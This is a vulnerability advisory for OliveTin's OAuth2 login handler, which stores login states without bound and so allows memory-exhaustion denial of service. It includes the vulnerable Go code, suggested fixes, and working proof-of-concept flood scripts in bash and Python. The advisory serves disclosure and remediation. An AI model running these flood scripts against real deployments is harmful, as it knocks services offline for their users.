OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.
OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.
OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.
## Summary
OliveTin's OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service.
This is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists.
## Affected Versions
- All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)
## Details
In `service/internal/auth/otoauth2/restapi_auth_oauth2.go`:
```go
type OAuth2Handler struct {
cfg *config.Config
mu sync.RWMutex
registeredStates map[string]*oauth2State // NEVER cleaned up
registeredProviders map[string]*oauth2.Config
}
```
The `HandleOAuthLogin` handler adds a new state on every request:
```go
func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
state, _ := randString(16) // 24-byte base64 string
// ...
h.mu.Lock()
h.registeredStates[state] = &oauth2State{
providerConfig: provider,
providerName: providerName,
Username: "",
}
h.mu.Unlock()
// ... redirect to OAuth2 provider
}
```
The `HandleOAuthCallback` handler updates existing states but never removes them:
```go
func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
// ...
h.mu.Lock()
h.registeredStates[state].Username = userinfo.Username // Updates, never deletes
h.registeredStates[state].Usergroup = ...
h.mu.Unlock()
}
```
There is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`.
### Memory Impact Per State
Each map entry consists of:
- Key: ~24 bytes (base64 string)
- Value: `*oauth2State` struct containing:
- `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config)
- `providerName string` (~8-16 bytes)
- `Username string` (empty initially)
- `Usergroup string` (empty initially)
- Go map overhead: ~100-150 bytes per entry
Estimated: **~200 bytes per state entry**
At 1 million states ≈ **200 MB** of memory consumed.
At 10 million states ≈ **2 GB** of memory consumed.
### Attack Vector
The `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.
## PoC
### Prerequisites
- OliveTin instance with at least one OAuth2 provider configured
- Network access to `/oauth/login`
### Config
```yaml
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false
authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
github:
clientId: "test-client-id"
clientSecret: "test-client-secret"
actions:
- title: noop
shell: echo "ok"
```
### Step 1: Baseline health check
```bash
curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK
curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)
```
### Step 2: Flood with state-creation requests
```bash
# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
# Throttle to avoid connection limits
if (( i % 500 == 0 )); then
wait
echo "Sent $i requests..."
fi
done
wait
echo "Flood complete"
```
### Step 3: Python PoC for sustained memory exhaustion
```python
#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS
Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""
import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor
TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000
def create_state(_):
"""Send /oauth/login to create a new state entry."""
try:
requests.get(
f"{TARGET}/oauth/login?provider={PROVIDER}",
allow_redirects=False,
timeout=5
)
return True
except Exception:
return False
def check_health():
"""Check if the server is still responsive."""
try:
r = requests.get(f"{TARGET}/readyz", timeout=5)
return r.status_code == 200
except Exception:
return False
print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()
if not check_health():
print("[!] Server not reachable")
sys.exit(1)
start_time = time.time()
total_created = 0
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
results = list(executor.map(create_state, range(batch_start, batch_end)))
total_created += sum(results)
elapsed = time.time() - start_time
rate = total_created / elapsed if elapsed > 0 else 0
est_memory = total_created * 200 / 1024 / 1024 # MB
print(f" States created: {total_created:>8} | "
f"Rate: {rate:>6.0f}/s | "
f"Est. memory: {est_memory:>6.1f} MB | "
f"Healthy: {check_health()}")
if not check_health():
print(f"\n[!] Server became unresponsive after {total_created} states!")
print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
break
print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")
```
### Step 4: Verify memory growth (Docker)
```bash
docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack
```
## Impact
- **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured
- **Attack requirements:** Unauthenticated network access to `/oauth/login`
- **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation
- **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
- **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.
## Suggested Fix
1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`)
2. Add a maximum state count (e.g., 10,000) with LRU eviction
3. Clean up states after successful callback
4. Add periodic garbage collection for expired states
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 29, 2026, 8:43:05 PM
dateUpdated: Jul 30, 2026, 2:15:32 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.